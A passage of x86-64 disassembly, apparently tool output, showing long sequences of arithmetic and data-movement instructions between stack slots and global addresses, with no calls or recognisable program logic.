mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0xa9e8]
mov eax, dword [rax]
mov dword [rsp + 0x53b0], eax
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0x9570]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb910]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaa88]
movzx ecx, al
mov rax, qword [rsp + 0x8848]
sar rax, cl
mov rcx, qword [rsp + 0xbb10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x51ec]
mov dword [rsp + 0x53b4], eax
mov rax, qword [rsp + 0x9590]
movsx eax, word [rax]
mov rcx, qword [0x1401cdb80]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x181c], ax
movsx eax, byte [rsp + 0x292]
movsx ecx, byte [rsp + 0x206]
or eax, ecx
mov byte [0x1401cc06b], al
mov rax, qword [rsp + 0xa980]
movzx eax, word [rax]
mov word [rsp + 0x1a48], ax
movsx eax, byte [str.__t1xEM_g]
mov rcx, qword [rsp + 0xa5d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa7b0]
mov byte [rcx], al
lea rax, [rsp + 0x14dc]
mov qword [rsp + 0xc078], rax
mov eax, dword [rsp + 0x531c]
mov ecx, dword [rsp + 0x5254]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5010], eax
mov rax, qword [rsp + 0xabc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3d8], rax
lea rax, [rsp + 0xa758]
mov qword [rsp + 0xc080], rax
mov rax, qword [rsp + 0xaeb0]
mov ecx, dword [rsp + 0x50b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5028], eax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0xc088], rax
movzx eax, word [rsp + 0x11c0]
movzx ecx, word [rsp + 0x16dc]
sub eax, ecx
mov word [0x1401cc19c], ax
movzx eax, byte [rsp + 0x1ef]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d1], al
mov rax, qword [rsp + 0x97d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16cc]
add eax, ecx
mov word [rsp + 0x1908], ax
movzx eax, byte [rsp + 0x1e2]
movzx ecx, byte [rsp + 0x31d]
sub eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xa628]
mov rcx, qword [rsp + 0x9958]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x95b0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e74]
mov qword [rsp + 0xc090], rax
mov rax, qword [rsp + 0xa0d0]
mov rcx, qword [rsp + 0xa340]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa930]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa620]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9120]
mov qword [rsp + 0xc098], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc098]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9440]
mov dword [rcx], eax
lea rax, [rsp + 0x156c]
mov qword [rsp + 0xc0a0], rax
movsx eax, byte [rsp + 0x2c8]
mov rcx, qword [rsp + 0xa5a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cc03a], al
movzx eax, word [0x1401cc06c]
movzx ecx, word [rsp + 0x15a0]
xor eax, ecx
mov word [rsp + 0x1838], ax
movzx eax, byte [rsp + 0x22a]
mov byte [rsp + 0x339], al
mov rax, qword [rsp + 0xb8b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb780]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbc28]
mov byte [rcx], al
movzx eax, word [0x1401cc160]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa9a8]
mov word [rcx], ax
lea rax, [rsp + 0x9a28]
mov qword [rsp + 0xc0a8], rax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x9470]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x52e0]
mov dword [rsp + 0x53b8], eax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xbc30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9888], rax
mov rax, qword [rsp + 0xb238]
movzx eax, byte [rax]
mov byte [0x1401cd842], al
mov rax, qword [rsp + 0xb390]
movzx eax, word [rax]
mov word [rsp + 0x1a4c], ax
mov rax, qword [rsp + 0xa8f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ac8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x29c], al
movzx eax, byte [rsp + 0x25a]
movzx ecx, byte [rsp + 0x325]
add eax, ecx
mov byte [rsp + 0x2e5], al
mov rax, qword [rsp + 0xb290]
movzx eax, byte [rax]
mov byte [rsp + 0x33a], al
mov rax, qword [rsp + 0x9588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xacd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8338], rax
mov rax, qword [rsp + 0x9f00]
mov eax, dword [rax]
mov dword [rsp + 0x53bc], eax
mov rax, qword [rsp + 0xb010]
mov rcx, qword [rsp + 0xbb08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5120], eax
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0x8f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9500], rax
mov rax, qword [rsp + 0x9568]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
sub eax, ecx
mov word [0x1401cc060], ax
lea rax, [0x1401cd7db]
mov qword [rsp + 0xc0b0], rax
mov rax, qword [rsp + 0x91b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc018]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa908]
mov word [rcx], ax
movzx eax, byte [rsp + 0x220]
mov byte [rsp + 0x33b], al
mov rax, qword [0x1401cd740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a0c]
add eax, ecx
mov word [rsp + 0x17d0], ax
mov eax, dword [rsp + 0x4f78]
movzx ecx, al
mov eax, dword [rsp + 0x5048]
shr eax, cl
mov dword [rsp + 0x5128], eax
mov eax, dword [rsp + 0x5068]
mov dword [rsp + 0x53c0], eax
mov rax, qword [rsp + 0x8168]
mov rcx, qword [0x1401cc010]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa848], rax
mov rax, qword [rsp + 0xb3d8]
mov qword [rsp + 0xc0b8], rax
mov rax, qword [rsp + 0xb2d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21b]
shl eax, cl
mov byte [0x1401cd7da], al
movzx eax, word [0x1401cc060]
mov rcx, qword [rsp + 0xa370]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x166c], ax
lea rax, [rsp + 0x1634]
mov qword [rsp + 0xc0c0], rax
movsx eax, word [rsp + 0x1680]
movsx ecx, word [rsp + 0x1708]
and eax, ecx
mov rcx, qword [rsp + 0xb938]
mov word [rcx], ax
mov rax, qword [0x1401cd898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c6]
sub eax, ecx
mov byte [rsp + 0x2df], al
lea rax, [rsp + 0x5170]
mov qword [rsp + 0xc0c8], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x8b40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xabe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xacb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x87f8], rax
mov eax, dword [rsp + 0x4eb0]
mov ecx, dword [rsp + 0x4e6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
movsx eax, word [0x1401cc0fc]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc1a0], ax
movzx eax, word [rsp + 0x1380]
mov rcx, qword [rsp + 0xaf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x190c], ax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0xc0d0], rax
movzx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0xa530]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ef8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb720]
movzx eax, word [rax]
mov word [rsp + 0x1a50], ax
mov rax, qword [rsp + 0x94a0]
mov rcx, qword [rsp + 0xa200]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbfd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x51ec]
movzx ecx, al
mov eax, dword [rsp + 0x524c]
sar eax, cl
mov dword [rsp + 0x5360], eax
lea rax, [rsp + 0x9650]
mov qword [rsp + 0xc0d8], rax
mov rax, qword [rsp + 0xbd70]
mov rcx, qword [rsp + 0xbf10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5188], eax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c08]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401cdce0]
mov byte [rcx], al
lea rax, [rsp + 0x26f]
mov qword [rsp + 0xc0e0], rax
movsx eax, byte [rsp + 0x258]
movsx ecx, byte [rsp + 0x220]
xor eax, ecx
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0xab28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbea0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9900]
mov byte [rcx], al
mov rax, qword [rsp + 0x9590]
movzx eax, word [rax]
mov word [rsp + 0x1a54], ax
mov rax, qword [rsp + 0x9060]
mov rcx, qword [rsp + 0xbdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov dword [rcx], eax
lea rax, [rsp + 0x5288]
mov qword [rsp + 0xc0e8], rax
mov rax, qword [rsp + 0xbfd8]
mov rcx, qword [rsp + 0xb0a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x87f8], rax
lea rax, [rsp + 0x8a20]
mov qword [rsp + 0xc0f0], rax
movzx eax, word [rsp + 0x198c]
movzx ecx, word [rsp + 0x18c0]
add eax, ecx
mov word [0x1401cc1a4], ax
movzx eax, word [rsp + 0x18c0]
mov rcx, qword [rsp + 0xb718]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaae8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x2fa]
and eax, ecx
mov rcx, qword [rsp + 0x8f40]
mov byte [rcx], al
mov rax, qword [rsp + 0xb858]
movzx eax, word [rax]
mov word [rsp + 0x1a58], ax
movzx eax, byte [rsp + 0x1ec]
mov rcx, qword [rsp + 0xa8a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa670]
mov byte [rcx], al
lea rax, [0x1401cc010]
mov qword [rsp + 0xc0f8], rax
mov rax, qword [rsp + 0x8f50]
mov ecx, dword [rsp + 0x50f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fac], eax
mov rax, qword [rsp + 0xb970]
mov rcx, qword [rsp + 0x90e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53a0], eax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0xc100], rax
mov rax, qword [rsp + 0xb600]
movzx eax, word [rax]
mov word [0x1401cddcc], ax
movzx eax, byte [rsp + 0x253]
mov rcx, qword [rsp + 0x9d28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93b0]
mov byte [rcx], al
lea rax, [rsp + 0x1690]
mov qword [rsp + 0xc108], rax
movsx eax, byte [0x1401cc04a]
movsx ecx, byte [rsp + 0x2cd]
shl eax, cl
mov byte [rsp + 0x314], al
mov rax, qword [rsp + 0xb938]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f30]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x97d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9288]
mov rax, qword [rax]
mov qword [rsp + 0xc110], rax
mov rax, qword [rsp + 0xa0d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb2b0]
mov qword [rsp + 0xc118], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc118]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa5f8], rax
lea rax, [rsp + 0x50cc]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0x9798]
mov rcx, qword [rsp + 0xb678]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x50ec], eax
movsx eax, word [rsp + 0x16cc]
movsx ecx, word [rsp + 0x14d0]
and eax, ecx
mov word [rsp + 0x195c], ax
movsx eax, byte [rsp + 0x2ab]
movsx ecx, byte [rsp + 0x230]
sub eax, ecx
mov byte [0x1401cc0a2], al
mov rax, qword [0x1401cda88]
movzx eax, word [rax]
mov word [rsp + 0x1a5c], ax
mov rax, qword [rsp + 0x90e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb9e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb120]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa00]
movzx eax, word [rax]
mov word [rsp + 0x1a60], ax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x4748]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5164], eax
mov rax, qword [rsp + 0x8ca0]
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xba60]
mov rcx, qword [rsp + 0xbb80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x505c], eax
mov rax, qword [rsp + 0xbae0]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa930]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe9], al
movsx eax, byte [rsp + 0x23d]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd7de], al
movsx eax, word [rsp + 0x18dc]
movsx ecx, word [rsp + 0x1884]
add eax, ecx
mov word [rsp + 0x1994], ax
lea rax, [rsp + 0x57]
mov qword [rsp + 0xc130], rax
mov rax, qword [rsp + 0x9a10]
movzx eax, word [rax]
mov rcx, qword [0x1401cdbd8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaaf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa6d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2e0]
mov qword [rsp + 0xc138], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc138]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbae8]
mov qword [rcx], rax
lea rax, [rsp + 0x500c]
mov qword [rsp + 0xc140], rax
mov rax, qword [rsp + 0x9468]
mov rcx, qword [rsp + 0xb8e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5268], eax
lea rax, [rsp + 0x8458]
mov qword [rsp + 0xc148], rax
movsx eax, word [rsp + 0x1890]
movsx ecx, word [rsp + 0x1660]
xor eax, ecx
mov word [rsp + 0x15fc], ax
movsx eax, byte [rsp + 0x2c9]
movsx ecx, byte [0x1401cc04f]
sar eax, cl
mov byte [0x1401cc0a6], al
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1590], ax
movzx eax, byte [rsp + 0x2d8]
mov byte [rsp + 0x33c], al
mov rax, qword [0x1401cdd38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17a4]
imul eax, ecx
mov word [rsp + 0x15f4], ax
mov rax, qword [rsp + 0xbdd8]
mov eax, dword [rax]
mov dword [rsp + 0x53c4], eax
mov rax, qword [rsp + 0xae68]
mov rcx, qword [rsp + 0x8bf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x97b8], rax
lea rax, [rsp + 0x5278]
mov qword [rsp + 0xc150], rax
mov rax, qword [rsp + 0x9de8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x83f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e00]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1518]
movzx ecx, word [rsp + 0x17e4]
sub eax, ecx
mov word [rsp + 0x1984], ax
lea rax, [rsp + 0x2f0]
mov qword [0x1401cddd0], rax
lea rax, [rsp + 0x1554]
mov qword [rsp + 0xc158], rax
mov rax, qword [rsp + 0xa560]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb278]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x200], al
lea rax, [rsp + 0x318]
mov qword [rsp + 0xc160], rax
mov rax, qword [rsp + 0xb290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa3f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x270], al
mov rax, qword [rsp + 0xb8e8]
mov rcx, qword [rsp + 0xa288]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xae20]
mov dword [rcx], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xc168], rax
mov rax, qword [rsp + 0xa590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb728]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xafa0], rax
mov eax, dword [rsp + 0x4f7c]
mov dword [rsp + 0x53c8], eax
movzx eax, byte [rsp + 0x2ee]
movzx ecx, byte [rsp + 0x76]
sub eax, ecx
mov byte [0x1401cc046], al
movzx eax, word [rsp + 0x1648]
movzx ecx, word [rsp + 0x178c]
shl eax, cl
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0xb6c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x177c]
sar eax, cl
mov word [rsp + 0x1738], ax
mov rax, qword [0x1401cdc28]
movzx eax, byte [rax]
mov byte [rsp + 0x33d], al
movzx eax, word [rsp + 0x1624]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa7c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x5300]
mov dword [rsp + 0x53cc], eax
mov rax, qword [rsp + 0xbf10]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5088], eax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb5d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb750]
mov qword [rcx], rax
lea rax, [rsp + 0xb638]
mov qword [rsp + 0xc170], rax
mov rax, qword [0x1401cd7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbce0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401cdbf8], ax
mov rax, qword [rsp + 0xade8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a2]
sub eax, ecx
mov rcx, qword [rsp + 0xb6e0]
mov byte [rcx], al
lea rax, [rsp + 0x198c]
mov qword [rsp + 0xc178], rax
mov rax, qword [rsp + 0xaf88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x209]
sub eax, ecx
mov byte [rsp + 0x2dd], al
lea rax, [rsp + 0x2ae]
mov qword [rsp + 0xc180], rax
mov rax, qword [rsp + 0xa248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x96c0], rax
mov eax, dword [rsp + 0x53cc]
mov ecx, dword [rsp + 0x51ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fe4], eax
lea rax, [rsp + 0x52fc]
mov qword [rsp + 0xc188], rax
mov rax, qword [rsp + 0x9d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9418]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa788], rax
lea rax, [0x1401cd727]
mov qword [0x1401cddd8], rax
mov rax, qword [rsp + 0x9ab0]
movzx eax, word [rax]
mov word [rsp + 0x1a64], ax
mov rax, qword [rsp + 0xa0e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb480]
mov word [rcx], ax
movzx eax, word [rsp + 0x1358]
movzx ecx, word [0x1401cc060]
add eax, ecx
mov word [rsp + 0x19a4], ax
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov byte [rsp + 0x33e], al
mov rax, qword [rsp + 0xa860]
mov rcx, qword [rsp + 0xb340]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa010], rax
lea rax, [rsp + 0x50a0]
mov qword [rsp + 0xc190], rax
mov rax, qword [rsp + 0x92d8]
mov rcx, qword [rsp + 0xac50]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbc90], rax
mov rax, qword [rsp + 0x9dc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9268]
mov qword [rsp + 0xc198], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc198]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ebc], eax
movzx eax, word [rsp + 0x1520]
movzx ecx, word [rsp + 0x1880]
xor eax, ecx
mov rcx, qword [0x1401cdaa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9160]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb758]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x113], al
mov rax, qword [rsp + 0xab88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb260]
mov byte [rcx], al
lea rax, [rsp + 0x150c]
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb758]
mov byte [rcx], al
mov eax, dword [rsp + 0x4ec8]
mov dword [rsp + 0x53d0], eax
mov rax, qword [rsp + 0x9280]
mov rcx, qword [rsp + 0x9468]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x51d4], eax
mov rax, qword [rsp + 0xb5f0]
mov rcx, qword [rsp + 0xb110]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x92d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaec8]
mov rax, qword [rax]
mov qword [rsp + 0xc1a8], rax
movsx eax, byte [rsp + 0x2d0]
movsx ecx, byte [rsp + 0x28c]
add eax, ecx
mov byte [0x1401cc0a7], al
mov rax, qword [rsp + 0xbc98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16b8]
sub eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov word [rcx], ax
lea rax, [0x1401cc064]
mov qword [rsp + 0xc1b0], rax
mov rax, qword [rsp + 0xa890]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16a4]
sub eax, ecx
mov rcx, qword [rsp + 0xc070]
mov word [rcx], ax
movsx eax, word [rsp + 0x1a64]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1738], ax
mov rax, qword [rsp + 0xa1a0]
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xa920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xba68], rax
mov rax, qword [rsp + 0xb648]
mov eax, dword [rax]
mov dword [rsp + 0x53d4], eax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x5178]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50f4], eax
mov rax, qword [rsp + 0xa728]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cd928]
mov byte [rcx], al
movzx eax, word [rsp + 0x14f8]
mov rcx, qword [rsp + 0xc178]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb250]
mov word [rcx], ax
mov rax, qword [rsp + 0xb408]
movzx eax, byte [rax]
mov byte [rsp + 0x33f], al
mov rax, qword [rsp + 0xacc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e4]
shl eax, cl
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
lea rax, [rsp + 0x2bb]
mov qword [rsp + 0xc1c0], rax
mov rax, qword [rsp + 0xa608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9390]
mov qword [rsp + 0xc1c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1c8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f20]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb358]
mov rax, qword [rax]
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a50], eax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc010]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc1a8], ax
lea rax, [rsp + 0x334]
mov qword [rsp + 0xc1d8], rax
mov rax, qword [0x1401cd758]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2f2], al
mov rax, qword [rsp + 0xaac8]
movzx eax, word [rax]
mov word [rsp + 0x1a68], ax
mov rax, qword [rsp + 0xadc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb838]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb780]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbb0]
mov rcx, qword [rsp + 0x9580]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xafa0], rax
mov rax, qword [rsp + 0xb400]
mov eax, dword [rax]
mov dword [rsp + 0x53d8], eax
mov rax, qword [rsp + 0x9600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb330]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x82f8], rax
lea rax, [rsp + 0x47b8]
mov qword [rsp + 0xc1e0], rax
mov rax, qword [rsp + 0xa2f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fa0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9300]
mov byte [rcx], al
mov rax, qword [rsp + 0xa448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b7]
add eax, ecx
mov byte [0x1401cd826], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa820]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1830], ax
movzx eax, word [rsp + 0x1690]
mov word [rsp + 0x1a6c], ax
movsx eax, byte [rsp + 0x20b]
mov rcx, qword [rsp + 0xbac8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb2d0]
mov byte [rcx], al
lea rax, [rsp + 0x486c]
mov qword [rsp + 0xc1e8], rax
mov rax, qword [rsp + 0xbe38]
mov rcx, qword [rsp + 0xb9f0]
mov qword [rsp + 0xc1f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0xba08]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa918], rax
lea rax, [rsp + 0x519c]
mov qword [rsp + 0xc1f8], rax
mov rax, qword [rsp + 0x9088]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
shl eax, cl
mov rcx, qword [rsp + 0x8ef8]
mov byte [rcx], al
lea rax, [0x1401cc108]
mov qword [0x1401cdde0], rax
movzx eax, byte [rsp + 0x290]
mov rcx, qword [rsp + 0x9410]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0xa2c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x159c]
sub eax, ecx
mov word [rsp + 0x15a0], ax
mov rax, qword [rsp + 0x9a68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc070]
